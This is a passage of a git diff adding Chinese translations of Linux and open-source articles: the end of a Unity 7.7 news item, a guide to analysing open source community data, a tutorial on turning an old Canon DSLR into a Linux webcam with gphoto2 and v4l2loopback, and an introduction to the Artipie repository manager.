默认的面板不透明度降低到 0.75 +- 默认的启动器图标尺寸被缩小了 +- 启动器按钮(Ubuntu 图标)被替换为半透明的图标,类似于 Ubuntu Unity 21.04 的启动器按钮。 + +_对 Unity 7.7 感到激动?请在下面的评论中告诉我你的想法。_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/unity-7-7-dev/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/ubuntu-unity-7-7-release.png +[2]: https://canonical.com +[3]: https://about.ruds.io +[4]: https://ubuntuunity.org +[5]: https://unityd.org/unity-7-7-peek/ +[6]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek.jpg +[7]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek_Welcome.jpg +[8]: https://flutter.dev +[9]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek_UWidgets.jpg +[10]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek_Dash.jpg +[11]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek_Panels.jpg +[12]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek_Notif.jpg +[13]: https://news.itsfoss.com/content/images/2022/12/unity-control-center.png diff --git a/published/20221206.3 ⭐️⭐️ A data scientist's guide to open source community analysis.md b/published/20221206.3 ⭐️⭐️ A data scientist's guide to open source community analysis.md new file mode 100644 index 0000000000..8cefdd2de8 --- /dev/null +++ b/published/20221206.3 ⭐️⭐️ A data scientist's guide to open source community analysis.md @@ -0,0 +1,193 @@ +[#]: subject: "A data scientist's guide to open source community analysis" +[#]: via: "https://opensource.com/article/22/12/data-scientists-guide-open-source-community-analysis" +[#]: author: "Cali Dolfi https://opensource.com/users/cdolfi" +[#]: collector: "lkxed" +[#]: translator: "Chao-zhi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15640-1.html" + +数据科学家的开源社区分析指南 +====== + +![][0] + +> 研究一下这个框架,来建立你自己的开源项目的数据分析。 + +在数据分析的黄金时代,开源社区也不能免俗。大家都热衷于将一些华丽的数字放到演示幻灯片上,但如果你掌握了正确的分析方法,这些信息可以为你带来更大的价值。 + +或许你认为作为一名 [数据科学家][1],我会告诉你数据分析和自动化能为你的社区决策提供信息。但实际上,情况恰恰相反。利用数据分析来构建你现有的开源社区知识,吸收其他的知识,并发现潜在的偏见和没有思考过的观点。你或许是实施社区活动的专家,而你那些同事则是代码方面的专家。当你们每个人都在自己的知识背景下将信息可视化时,你们都可以从这些信息中受益。 + +让我们来面对现实吧。每个人都有一千零一件事情要做,而且总感觉一天的时间永远不够用。如果需要几个小时才能得到你的社区的答案,你就不可能有足够的精力去解决这些事情。但是,花时间创建一个全面发展的可视化项目,可以帮助你时刻掌握你所关心的社区的不同方面,这就将你从精疲力尽中解放了出来。 + +随着“数据驱动”思维的盛行,围绕开源社区的信息宝库可能是一种祝福,也可能是一种诅咒。下面我将分享一些方法,告诉你如何从数据干草堆中挑出有价值的信息。 + +### 你的预期是什么? + +当考虑一个指标时,首先要明确你想提供的观点。以下是几个可能涉及的概念: + +**告知性和影响性的行动:** 你的社区是否存在某个领域尚未被理解?你是否已迈出第一步?你是否试图确定特定方向?你是否正在衡量现有倡议的效果? + +**暴露需要改进的领域和突出优势:** 有时你想宣传你的社区,突出它的优势,特别是在试图证明商业影响或为项目宣传时。然而,当涉及到向社区内部传递信息时,你通常需要从一堆指标中精准的找到你们的缺点,以此来帮助你们改进。虽然突出优点并非不可取,但需要在适当的时间和地点。不要把优势指标作为社区内部的拉拉队,告诉每个人都有多棒,而是要与外界分享,以获得认可或推广。 + +**社区和商业影响:** 数字和数据是许多企业的语言。但是这可能使得为你的社区进行宣传并真正展示其价值变得异常困难。数据可以成为用他们的语言说话的一种方式,并展示他们想看到的东西,以使你数据背后的潜在含义能够被有效转达。另一个角度是对开源的整体影响。你的社区是如何影响他人和生态系统的? + +这些观点并非非此即彼,而是相互关联的。适当的框架将有助于创造一个更深思熟虑的衡量标准。 + +![数据科学和机器学习的工作流程][2] + +当人们谈论通用的数据科学或机器学习工作时,通常会描述这样的工作流程。我将重点关注第一步,即编写问题和度量标准,并简要提及第二步。从数据科学的角度来看,这个演示可以被视为这个步骤的一个案例研究。这一步有时会被忽视,但你的分析的实际价值始于此。你不能一天醒来就知道要看什么。从理解你想知道什么和你所拥有的数据开始,逐步实现更加深度的数据分析。 + +### 3个开源数据分析用例 + +以下是您在开源数据分析过程中可能遇到的三种不同场景。 + +#### 场景 1:现有数据分析 + +假设你开始进行分析,并且已经知道你将要研究的内容对你或你的社区是有用的。那么你该如何提高分析的价值呢?这里的想法是建立在“传统”的开源社区分析基础之上。假设你的数据表明,在项目的整个生命周期内,你共有 120 个贡献者。这是你可以放在幻灯片上的价值,但你不能从中做出决策。从仅有一个数字到获得洞见,逐步采取措施。例如,你可以从相同的数据中将贡献者分为活跃和流失的贡献者(那些已经有一段时间没有做出贡献的贡献者),以获得更深入的了解。 + +#### 场景 2:社区活动的影响测量 + +![目标和影响][3] + +针对聚会、会议或其他任何社区外联活动,你如何看待你的影响力和目标?这两个步骤实际上互相影响。一旦你确定了活动的目标,就要确定可以用什么来检测效果。这些信息有助于设定活动的目标。在活动开始时,很容易陷入模糊的计划而非具体的计划的陷阱中。 + +#### 场景3:形成新的影响分析区 + +![新的分析区][4] + +当你从头开始进行数据分析时,就会出现这种情况。前面的例子是这个工作流程的不同部分。这个工作流程是一个不断发展的循环;你可以随时进行改进或扩展。基于这个概念,以下是你应该经历的必要步骤。在本文的后面,将会有三个不同的例子,展示这种方法在现实世界中的应用。 + +#### 第一步:分解关注区和视角 + +首先,想象一下魔法 8 球——你可以问任何问题,摇一摇,就能得到答案的玩具。考虑你的分析领域。如果你能立即得到任何答案,那会是什么? + +接下来,考虑数据。从你的魔法 8 球问题中,哪些数据源可能与问题或关注领域有关? + +在数据背景下,哪些问题可以回答,让你更接近你提出的魔法 8 球问题?需要注意的是,如果你试图将所有的数据汇集在一起,你必须考虑到所做出的假设。 + +#### 第二步:将问题转化为指标 + +以下是第一步中每个子问题的处理过程: + +- 选择所需的具体数据点。 +- 确定可视化以实现目标分析。 +- 假设这些信息的影响。 + +接下来,引入社区提供反馈并触发迭代开发过程。这个协作部分可能就是真正的魔力所在。最好的想法通常是在将一个概念带给某个人时产生的,会激发他们的灵感,这是你或他们无法想象的。 + +#### 第三步:分析实践 + +这一步是你开始处理你所创建的指标或可视化的影响。 + +首先要考虑的是,这个度量标准是否符合当前对社区的了解。 + +- 如果**是**:是否有假设得出的结果? +- 如果**不是**:你需要进一步调查,是否这是一个潜在的数据或计算问题,或者只是先前被误解的社区的一部分。 + +一旦你确定你的分析足够稳定,可以开始在信息上实施社区倡议。当你正在进行分析以确定下一步最佳步骤时,你应该确定衡量倡议成功的具体方法。 + +现在,观察这些由你的指标提供信息的社区倡议。确定是否可以用你之前建立的成功衡量指标观察到影响。如果没有,可以考虑以下几点: + +- 你是否在衡量正确的事情? +- 倡议战略是否需要调整? + +### 分析区的例子:新贡献者 + +#### 魔法 8 球问题是什么? + +- 如何分析哪些人为持续的贡献者? + +#### 我有什么数据可以纳入分析区和魔法 8 球问题? + +- 仓库存在哪些贡献者的活动,包括时间戳? + +现在你有了这些信息和一个魔法 8 球问题,把分析分成几个子部分执行。这个想法与上述步骤 2 和 3 相关。 + +**子问题 1:** “人们是怎么进入这个项目的” + +这个问题的目的是先看看新的贡献者在做什么。 + +**数据:** GitHub 上的首次贡献随时间推移的数据(议题、PR、评论等)。 + +![每季度首次贡献图表][5] + +**可视化:** 按季度划分的首次贡献条形图。 + +**潜在的意义:** 在你与其他社区成员交谈后,进一步检查按季度细分的信息,以及贡献者是否为重复贡献者或仅仅是路过。你可以看到人们进来的时候在做什么,以及这是否能告诉你他们是否会留下来。 + +![每季度路过贡献图标][6] + +**从这些信息中了解到的可以采取的行动。** + +- 目前的文档是否能够帮助到最常见的新手?你能不能更好地帮助和支持新人朋友,这将有助于他们中更多的人留下来? +- 是否有一个贡献领域在整体上并不常见,但重复贡献者却集中在这个区域?也许 PR 是重复贡献者的一个常见区域,但大多数人却不在这个区域工作。 + +**行动项目:** + +- 给 “好的第一个问题” 贴上一致的标签,并将这些问题链接到贡献文档中。 +- 在这些问题上添加一个 PR 伙伴。 + +**子问题 2:** “我们的代码库真的依赖于路过的贡献者吗?” + +**数据:** GitHub 的贡献数据。 + +![贡献者类型随时间变化的图表][7] + +**可视化:** “贡献总额:按路过和重复贡献者的贡献进行细分。” + +**根据这一信息可能采取的行动。** + +- 这个比例是否达到了项目的目标?很多工作都是由路过贡献者完成的吗?这是否是一种未被充分利用的资源,项目是否没有尽到自己的责任来吸引他们? + +### 分析:吸取教训 + +数字和数据分析并不是“事实”,它们可以支持任何观点。因此,在处理数据时,内部怀疑者应该非常积极,并进行反复迭代,以带来真正的价值。你不希望你的分析只是一个 “yes man”,因此花点时间退一步,评估你所做的假设。 + +如果一个指标只是指出了调查的方向,那也是一个巨大的胜利。你不可能看清或想到所有的事情,兔子洞可以是一个好事,对话的起点可以把你带到一个新的地方。 + +有时,你想测量的东西恰恰不在那里,但你也许能得到有价值的细节。不要假设你有所有的拼图碎片来获得你最初问题的准确答案。如果你开始强迫一个答案或解决方案,你会把自己带入一条由假设引领的危险道路。为分析的方向或目标的改变留出空间,可以让你获得比最初的想法更好的洞察力。 + +数据只是是一种工具,并不是标准答案,它可以汇集原本无法获得的见解和信息。将你想知道的东西分解成可管理的小块,并在此基础上进行分析,这是最重要的部分。 + +开源数据分析是一个很好的例子,说明你必须对所有的数据科学采取谨慎态度。 + +- 主题领域的细微差别是最重要的。 +- 通过“问什么/答什么”的工作过程经常被忽视。 +- 知道“问什么”可能是最难的部分,当你想出一些有洞察力和创新的东西时,这比你选择的任何工具都要重要。 + +如果你是一个没有数据科学经验的社区成员,正在寻找开始的地方,我希望这些信息能告诉你,你在这个过程中是多么重要和宝贵。你带来了社区的洞察力和观点。如果你是一个数据科学家或实施指标或可视化的人,你必须倾听你周围的声音,即使你也是一个活跃的社区成员。关于数据科学的更多信息列在本文的最后。 + +### 总结 + +把上面的例子作为建立你自己的开源项目的数据分析的框架。对你的结果有很多问题要问,知道这些问题和它们的答案可以把你的项目引向一个令人兴奋和富有成效的方向。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/data-scientists-guide-open-source-community-analysis + +作者:[Cali Dolfi][a] +选题:[lkxed][b] +译者:[Chao-zhi](https://github.com/Chao-zhi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/cdolfi +[b]: https://github.com/lkxed +[1]: https://enterprisersproject.com/article/2022/9/data-scientist-day-life?intcmp=7013a000002qLH8AAM +[2]: https://opensource.com/sites/default/files/2022-11/datascience-machinelearning-workflow.jpg +[3]: https://opensource.com/sites/default/files/2022-11/goals-impact.png +[4]: https://opensource.com/sites/default/files/2022-11/new-analysis-areas.png +[5]: https://opensource.com/sites/default/files/2022-11/first-time-contributions-per-quarter.png +[6]: https://opensource.com/sites/default/files/2022-11/driveby-contributions-per-quarter.png +[7]: https://opensource.com/sites/default/files/2022-11/contributor-types-over-time.png +[8]: https://opensource.com/resources/data-science?intcmp=7013a000002CxqkAAC +[9]: https://opensource.com/resources/python?intcmp=7013a000002CxqkAAC +[10]: https://opensource.com/article/17/9/data-scientist?intcmp=7013a000002CxqkAAC +[11]: https://enterprisersproject.com/article/2022/9/data-scientist-day-life?intcmp=7013a000002CxqkAAC +[12]: https://opensource.com/resources/big-data?intcmp=7013a000002CxqkAAC +[13]: https://www.redhat.com/en/resources/data-intensive-applications-hybrid-cloud-blueprint-detail?intcmp=7013a000002CxqkAAC +[14]: https://opensource.com/downloads/mariadb-mysql-cheat-sheet?intcmp=7013a000002CxqkAAC +[15]: https://opensource.com/tags/data-science?intcmp=7013a000002CxqkAAC +[0]: https://img.linux.net.cn/data/attachment/album/202303/19/155043lcx6bxqw5ci5gpgi.jpg \ No newline at end of file diff --git a/published/20221219.1 ⭐️⭐️ How I use my old camera as a webcam with Linux.md b/published/20221219.1 ⭐️⭐️ How I use my old camera as a webcam with Linux.md new file mode 100644 index 0000000000..fbeca0311b --- /dev/null +++ b/published/20221219.1 ⭐️⭐️ How I use my old camera as a webcam with Linux.md @@ -0,0 +1,265 @@ +[#]: subject: "How I use my old camera as a webcam with Linux" +[#]: via: "https://opensource.com/article/22/12/old-camera-webcam-linux" +[#]: author: "Tom Oliver https://opensource.com/users/tomoliver" +[#]: collector: "lkxed" +[#]: translator: "Pabloxllwe" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15648-1.html" + +如何在 Linux 中使用旧相机作为网络摄像头 +====== + +![][0] + +> 我用 gphoto2 给我的旧单反相机带来了新的生命,把它变成了 Linux 电脑的网络摄像头。 + +今年,在我基本上放弃了 MacBook,转而使用 NixOS 机器之后,我开始在与人进行视频通话时被要求“打开摄像头”。这是一个问题,因为我没有网络摄像头。我考虑购买一个,但后来我意识到我有一台完好无损的 2008 年产的佳能 EOS Rebel XS 数码单反相机放在书架上。这台相机有一个 mini-USB 接口,所以我自然而然地思考:一台数码单反相机、一个 mini-USB 接口和一台台式电脑,是否意味着我能拥有一个网络摄像头? + +只有一个问题。我的佳能 EOS Rebel XS 不能录制视频。它可以拍摄一些漂亮的照片,仅此而已。所以这结束了? + +还是有别的办法? + +恰好有一个叫做 [gphoto2](http://gphoto.org/) 的神奇的开源软件。一旦安装,它允许你从计算机控制各种支持的相机,并拍摄照片和视频。 + +### 支持的相机 + +首先,了解你的设备是否得到支持: + +``` +$ gphoto2 --list-cameras +``` + +### 拍摄图像 + +你可以用它拍照: + +``` +$ gphoto2 --capture-image-and-download +``` + +快门触发,图像会保存到你当前的工作目录中。 + +### 录制视频 + +我意识到了这里的潜力,所以尽管我的相机没有视频功能,我还是决定尝试 `gphoto2 --capture-movie` 命令。不知怎么,尽管我的相机不支持视频功能,`gphoto2` 仍然能够生成一个 MJPEG 文件! + +在我的相机上,我需要将其置于“实时预览”模式下,然后 `gphoto2` 才能录制视频。这包括将相机设置为纵向模式,然后按下 “设置Set” 按钮,使取景器关闭,相机屏幕显示图像。不幸的是,这还不足以将其用作网络摄像头。它仍然需要分配一个视频设备,例如 `/dev/video0`。 + +### 安装 ffmpeg 和 v4l2loopback + +毫不奇怪,有一个开源的解决方案来解决这个问题。首先,使用你的包管理器安装 `gphoto2`、`ffmpeg` 和 `mpv`。例如,在 Fedora 、CentOS 、Mageia 和类似的 Linux 发行版上: + +``` +$ sudo dnf install gphoto2 ffmpeg mpv +``` + +在 Debian、Linux Mint 及其类似发行版: + +``` +$ sudo apt install gphoto2 ffmpeg mpv +``` + +我使用的是 NixOS,这是我的配置文件: + +``` +# configuration.nix +... +environment.systemPackages = with pkgs; [ +  ffmpeg +  gphoto2 +  mpv +... +] +``` + +创建虚拟视频设备需要使用 `v4l2loopback` Linux 内核模块。在撰写本文时,该功能未包含在主线内核中,因此你需要自己下载和编译它: + +``` +$ git clone https://github.com/umlaeute/v4l2loopback +$ cd v4l2loopback +$ make +$ sudo make install +$ sudo depmod -a +``` + +如果你像我一样使用 NixOS ,你可以在 `configuration.nix` 中添加额外的模块包: + +``` +[...] +boot.extraModulePackages = with config.boot.kernelPackages; +[ v4l2loopback.out ]; +boot.kernelModules = [ +  "v4l2loopback" +]; +boot.extraModprobeConfig = '' +  options v4l2loopback exclusive_caps=1 card_label="Virtual Camera" +''; +[...] +``` + +在 NixOS 上, 运行 `sudo nixos-rebuild switch`,然后重启。 + +### 创建一个视频设备 + +假设你的计算机当前没有 `/dev/video` 设备,你可以借助 `v4l2loopback` 在需要时创建一个。 + +运行以下命令,将 `gphoto2` 中的数据发送到 `ffmpeg`,使用设备如 `/dev/video0` 设备: + +``` +$ gphoto2 --stdout --capture-movie | + ffmpeg -i - -vcodec rawvideo -pix_fmt yuv420p -f v4l2 /dev/video0 +``` + +你得到的输出是这样的: + +``` +ffmpeg version 4.4.1 Copyright (c) 2000-2021 the FFmpeg developers +  built with gcc 11.3.0 (GCC) +  configuration: --disable-static ... +  libavutil      56. 70.100 / 56. 70.100 +  libavcodec     58.134.100 / 58.134.100 +  libavformat    58. 76.100 / 58. 76.100 +  libavdevice    58. 13.100 / 58. 13.100 +  libavfilter     7.110.100 /  7.110.100 +  libavresample   4.  0.  0 /  4.  0.  0 +  libswscale      5.  9.100 /  5.  9.100 +  libswresample   3.  9.100 /  3.  9.100 +  libpostproc    55.  9.100 / 55.  9.100 +Capturing preview frames as movie to 'stdout'. Press Ctrl-C to abort.[mjpeg @ 0x1dd0380] Format mjpeg detected only with low score of 25, misdetection possible! +Input #0, mjpeg, from 'pipe:': +  Duration: N/A, bitrate: N/A +  Stream #0:0: Video: mjpeg (Baseline), yuvj422p(pc, bt470bg/unknown/unknown), 768x512 ... +Stream mapping: +  Stream #0:0 -> #0:0 (mjpeg (native) -> rawvideo (native))[swscaler @ 0x1e27340] deprecated pixel format used, make sure you did set range correctly +Output #0, video4linux2,v4l2, to '/dev/video0': +  Metadata: +    encoder         : Lavf58.76.100 +  Stream #0:0: Video: rawvideo (I420 / 0x30323449) ... +    Metadata: +      encoder         : Lavc58.134.100 rawvideoframe=  289 fps= 23 q=-0.0 size=N/A time=00:00:11.56 bitrate=N/A speed=0.907x +``` + +要查看来自网络摄像头的视频,请使用 `mpv` 命令: + +``` +$ mpv av://v4l2:/dev/video0 --profile=low-latency --untimed +``` + +![Streaming a live feed from the webcam][2] + +### 自动启动你的网络摄像头 + +每次想使用网络摄像头时都需要执行一次命令有点麻烦。幸运的是,你可以在启动时自动运行此命令。我将其实现为一个 `systemd` 服务: + +``` +# configuration.nix +... +  systemd.services.webcam = { +    enable = true; +    script = '' +      ${pkgs.gphoto2}/bin/gphoto2 --stdout --capture-movie | +        ${pkgs.ffmpeg}/bin/ffmpeg -i - \ +            -vcodec rawvideo -pix_fmt yuv420p -f v4l2  /dev/video0 +    ''; +wantedBy = [ "multi-user.target" ]; +  }; +... +``` + +在 NixOS 上,运行 `sudo nixos-rebuild switch`,然后重新启动你的计算机。你的网络摄像头已经开启并处于活动状态。 + +要检查是否存在任何问题,可以使用 `systemctl status webcam` 命令。它会告诉你服务最后一次运行的时间,并提供其以前输出的日志。这对于调试非常有用。 + +### 迭代以使其变得更好 + +止步于此也许很诱人。但是,考虑到当前的全球危机,我们可能需要思考是否有必要一直开着网络摄像头。这让我感到不太理想,原因如下: + +- 这浪费电。 +- 这类事情涉及隐私问题。 + +我的摄像头有一个镜头盖,所以说实话,第二个原因并不真的让我感到困扰。当我不使用网络摄像头时,我总是可以把镜头盖上。然而,让一个耗电量大的单反相机整天开着(更不用说需要解码视频所需的 CPU 开销),对我的电费并没有任何好处。 + +理想情况是: + +- 我一直把相机插在电脑上,但是关闭的。 +- 当我想使用网络摄像头时,我按下相机的电源按钮将其打开。 +- 我的计算机会检测到相机并启动 systemd 服务。 +- 使用网络摄像头完成后,我再次将其关闭。 + +为了实现这一点,你需要使用一个自定义的 udev 规则。 + +udev 规则可以告诉你的计算机,当它发现某个设备已经可用时执行某个任务。这可以是外部硬盘甚至是非 USB 设备。在这种情况下,你需要通过其 USB 连接识别相机。 + +首先,指定 udev 规则被触发时要运行的命令。你可以用一个 shell 脚本来完成(`systemctl restart webcam` 应该可以工作)。我运行的是 NixOS,所以我只需要创建一个派生包(一个 Nix 包),它会重新启动 systemd 服务: + +``` +# start-webcam.nix +with import { }; +writeShellScriptBin "start-webcam" '' +  systemctl restart webcam +  # debugging example +  # echo "hello" &> /home/tom/myfile.txt +  # If myfile.txt gets created then we know the udev rule has triggered properly'' +``` + +接下来,实际定义 udev 规则。查找摄像头的设备和厂商 ID。使用 `lsusb` 命令可以完成此操作。该命令可能已经安装在你的发行版上,但我不经常使用它,因此我只需要根据需要使用 `nix-shell` 安装它: + +``` +$ nix-shell -p usbutils +``` + +无论你的计算机上已经安装了它,还是刚刚安装,请运行 `lsusb` : + +``` +$ lsusb +Bus 002 Device 008: ID 04a9:317b Canon, Inc. Canon Digital Camera[...] +``` + +在此输出中,厂商 ID 为 `04a9`,设备 ID 为 `317b`。这已足以创建 udev 规则: + +``` +ACTION=="add", SUBSYSTEM=="usb", +ATTR{idVendor}=="04a9", +ATTR{idProduct}=="317b", +RUN+="/usr/local/bin/start-webcam.sh" +``` + +或者,如果你使用的是 NixOS: + +``` +# configuration.nix[...]let +  startWebcam = import ./start-webcam.nix;[...] +services.udev.extraRules = '' +  ACTION=="add",  \ +  SUBSYSTEM=="usb", \ +  ATTR{idVendor}=="04a9", \ +  ATTR{idProduct}=="317b",  \ +  RUN+="${startWebcam}/bin/start-webcam"'';[...] +``` + +最后,在你的 `start-webcam` systemd 服务中删除 `wantedBy = ["multi-user.target"];` 这一行。(如果保留它,则无论相机是否开启,该服务都会在下次重启时自动启动。) + +### 重复使用旧技术 + +我希望这篇文章能让你在放弃一些旧技术之前三思而后行。Linux 可以为技术注入活力,无论是你的电脑还是数码相机或其他外围设备等简单的东西。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/old-camera-webcam-linux + +作者:[Tom Oliver][a] +选题:[lkxed][b] +译者:[Pabloxllwe](https://github.com/Pabloxllwe) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/tomoliver +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/7/gphoto2-linux +[2]: https://opensource.com/sites/default/files/2022-12/streaming-webcam.png +[3]: https://opensource.com/article/18/11/udev +[4]: https://opensource.com/article/22/1/cameras-usb-ports-obs +[5]: https://opensource.com/article/22/4/how-linux-saves-earth +[0]: https://img.linux.net.cn/data/attachment/album/202303/21/233633z1qxdoq1shrx1xmc.jpg \ No newline at end of file diff --git a/published/20221220.2 ⭐️⭐️ How I use Artipie, a PyPI repo.md b/published/20221220.2 ⭐️⭐️ How I use Artipie, a PyPI repo.md new file mode 100644 index 0000000000..ae49b1456e --- /dev/null +++ b/published/20221220.2 ⭐️⭐️ How I use Artipie, a PyPI repo.md @@ -0,0 +1,223 @@ +[#]: subject: "How I use Artipie, a PyPI repo" +[#]: via: "https://opensource.com/article/22/12/python-package-index-repository-artipie" +[#]: author: "Alena Gerasimova https://opensource.com/users/olena" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15592-1.html" + +Artipie:可用于 Python 的开源仓库管理器 +====== + +![][0] + +> Artipie 是一个开源的自托管的仓库管理器,它不仅可以用于 Python。 + +在学生时代使用 Python 开发时,我发现我需要一些私人的集中存储。这样我就可以存储二进制和文本数据文件,以及 Python 软件包。我在 [Artipie][1] 中找到了答案,这是一个开源的自托管的软件仓库管理器。 + +在大学里,我和我的同事们对来自实验测量的大量数据进行研究。我使用 Python 来处理和可视化它们。当时我的大学同事是数学家,没有软件开发技术的经验。他们通常只是在闪存盘上或通过电子邮件传递数据和代码。我努力向他们介绍像 [Git][2] 这样的版本管理系统,但没有成功。 + +### Python 仓库 + +Artipie 支持 [PyPI][3] 仓库,与 [twine][4] 和 [pip][5] 兼容。这意味着你可以完全像在 [PyPI][3] 和 [TestPyPI][6] 仓库上安装或发布软件包那样使用 Artipie Python 仓库。 + +要创建你自己的 Python 仓库,你可以使用名为 [Artipie Central][7] 的 Artipie 托管实例。当你登录后,你会看到一个列出你的仓库的页面(开始时是空的),以及一个添加新仓库的表单。为你的新仓库选择一个名字(例如,`mypython`),选择 `Python` 作为仓库类型,然后点击 “添加Add” 按钮。 + +接下来,你会看到一个以 [YAML][8] 格式显示仓库设置的页面: + +``` +--- +repo: + type: pypi + storage: default + permissions: + olenagerasimova: + - upload + "*": + - download +``` + +配置中的 `type` 映射设置了仓库的类型。在这个例子中,Python 仓库被配置为默认的 Artipie Central 存储。 + +`storage` 映射定义了所有仓库包的存储位置。这可以是任何文件系统或 S3 存储兼容的位置。Artipie Central 有一个预先配置的 `default` 存储,可以使用它进行测试。 + +`permissions` 映射允许为用户 `olenagerasimova` 上传,并允许任何人下载任何软件包。 + +为了确保这个仓库的存在和工作,在你的浏览器中打开 [索引页][9]。显示的是软件包列表。如果你刚刚创建了一个新的版本库,但还没有上传软件包,那么仓库的索引页是空白的。 + +### 二进制仓库 + +你可以在 Artipie 中存储任何种类的文件。存储类型是 `file` 或 `binary`,我用这个作为实验数据的存储。我把它作为 Python 可视化的输入。在 Artipie Central 可以创建一个文件仓库,与 Python 仓库的方式相同。你给它一个名字,选择 `binary` 类型,然后点击 “添加Add” 按钮。 + +``` +--- +repo: + type: file + storage: default + permissions: + olenagerasimova: + - upload + - download + "*": + - download +``` + +这些设置基本上与 Python 相同。只有仓库的类型不同。在这个例子中,二进制仓库被称为 `data`。它包含三个带有一些数字的文本文件: + +``` +6 +3.5 +5 +4 +4.5 +3 +2.7 +5 +6 +3 +1.2 +3.2 +6 +``` + +另外两个文件的形式相同(只是数字不同)。要想自己看这些文件,请在浏览器中打开链接 [一][10]、[二][11] 和 [三][12] 并下载文件,或者你可以用 `httpie` 执行 GET 请求: + +``` +httpie -a https://central.artipie.com/olenagerasimova/data/y1.dat > ./data/y1.da +``` + +这些文件是用 PUT 请求上传到 Artipie Central 的 `data` 存储库的: + +``` +httpie -a olenagerasimova:*** PUT +https://central.artipie.com/olenagerasimova/data/y1.dat @data/y1.dat + +httpie -a olenagerasimova:*** PUT +https://central.artipie.com/olenagerasimova/data/y2.dat @data/y2.dat + +httpie -a olenagerasimova:*** PUT +https://central.artipie.com/olenagerasimova/data/y3.dat @data/y3.dat +``` + +由于这个二进制仓库的 API 非常简单(HTTP `PUT` 和 `GET` 请求),用任何语言编写一段代码来上传和下载所需的文件都很容易。 + +### Python 项目 + +可以从我的 [GitHub 仓库][13]中获得一个 Python 项目的示例源代码。这个示例的主要想法是,从 Artipie Central 下载三个数据文件,将数字读入数组,并使用这些数组来绘制一个图。使用 `pip` 来安装这个例子包并运行它: + +``` +$ python3 -m pip install --index-url \ + https://central.artipie.com/olenagerasimova/pypi/ \ + pypiexample +$ python3 -m pypiexample +``` + +通过设置 `--index-url` 到 Artipie Central 的 Python 仓库,`pip` 从它那里下载软件包,而不是通常默认的 PyPi 仓库。运行这些命令后,会显示一个带有三条曲线的极坐标图,这是数据文件的可视化。 + +要将软件包发布到 Artipie Central 仓库,请用 `twine` 构建并上传: + +``` +commandline +$ python setup.py sdist bdist_wheel + +$ twine upload --repository-url \ + https://central.artipie.com/olenagerasimova/pypi + -u olenagerasimova -p *** dist/* +``` + +在 Artipie Central 中设置 `files` 仓库,并创建一个 Python 示例项目是多么容易。不过,你不必使用 Artipie Central。Artipie 可以自托管,所以你可以在你自己的本地网络上运行一个仓库。 + +### 将 Artipie 作为一个容器运行 + +将 Artipie 作为一个容器运行,设置起来就像安装 Podman 或 Docker 一样容易。假设你已经安装了其中之一,打开终端: + +``` +$ podman run -it -p 8080:8080 -p 8086:8086 artipie/artipie:latest + +``` + +这将启动一个运行最新 Artipie 版本的新容器。它还映射了两个端口。你的仓库在 8080 端口提供服务。Artipie 的 Rest API 和 Swagger 文档在 8086 端口提供。新的镜像会生成一个默认的配置,打印一个正在运行的仓库列表,测试证书,以及一个指向 [Swagger][14] 文档的链接到你的控制台。 + +你也可以使用 Artipie Rest API 来查看现有的仓库: + +- 进入 Swagger 文档页面 `http://localhost:8086/api/index-org.html`。 +- 在 “选择一个定义Select a definition” 列表中,选择 “认证令牌Auth token”。 +- 生成并复制用户 `artipie` 的认证令牌,密码是 `artipie`。 +- 切换到 “仓库Repositories” 定义,点击 “认证Authorize” 按钮,然后粘贴令牌。 + +![Image of the Swagger documentation page,][15] + +对 `/api/v1/repository/list` 执行一个 GET 请求。在响应中,你会收到一个包含三个默认仓库的 JSON 列表: + +``` +[ + "artipie/my-bin", + "artipie/my-docker", + "artipie/my-maven" +] +``` + +默认配置中不包括 Python 仓库。你可以通过从 Swagger 接口向 `/api/v1/repository/{user}/{repo}` 执行 PUT 请求来纠正。在这种情况下,`user` 是默认用户的名字(`artipie`),`repo` 是新仓库的名字。你可以把你的新 Python 代码库称为 `my-pypi`。下面是一个请求体的例子,包含带仓库设置的 JSON 对象: + +``` +{ + "repo": { + "type": "pypi", + "storage": "default", + "permissions": { + "*": [ + "download" + ], + "artipie": [ + "upload" + ] + } + } +} +``` + +所有的 JSON 字段都和你在仪表板上创建 YAML 格式的仓库时一样。我们版本库的类型是 `pypi`,使用默认存储,任何人都可以下载,但只有用户 `artipie` 可以上传。 + +再次向 `/api/v1/repository/list` 发出 GET 请求,确保你的仓库被创建。现在,你有四个仓库: + +``` +[ + "artipie/my-bin", + "artipie/my-docker", + "artipie/my-maven", + "artipie/my-pypi" +] +``` + +你已经创建了你自己的 Artipie 安装,包含了几个仓库! Artipie 镜像既可以在个人电脑上运行,也可以在私人网络内的远程服务器上运行。你可以用它来在一个公司、团体或大学内交换软件包。这是一个建立你自己的软件服务的简单方法,而且它不仅仅适用于 Python。花些时间来探索 Artipie,看看它能为你带来什么。 + +-------------------------------------------------------------------------------- + +via: 